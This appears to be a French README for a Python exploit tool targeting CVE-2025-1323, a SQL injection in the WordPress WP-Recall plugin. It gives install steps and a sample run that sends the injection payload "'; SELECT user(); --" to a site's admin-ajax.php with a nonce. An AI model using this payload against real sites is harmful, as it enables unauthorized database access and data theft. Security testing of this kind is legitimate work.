cve-2025-1323

Injection SQL dans le plugin WP-Recall

⚠️ Avis de non-responsabilité légal

Cet outil est destiné à des tests de sécurité autorisés et à des fins éducatives uniquement.
Ne pas utiliser contre des systèmes sans autorisation explicite. Une mauvaise utilisation peut être illégale.

✅ Prérequis

• Python 3.x
• Module requests

Installer les dépendances :

pip install requests

python CVE-2025-1323.py

Enter target URL (e.g. https://target.com/wp-admin/admin-ajax.php): https://example.com/wp-admin/admin-ajax.php
Enter ajax_nonce value: 37c11b0c06

[*] Sending payload: '; SELECT user(); --

[+] Response received:
{"result":"SQL error or leaked data here..."}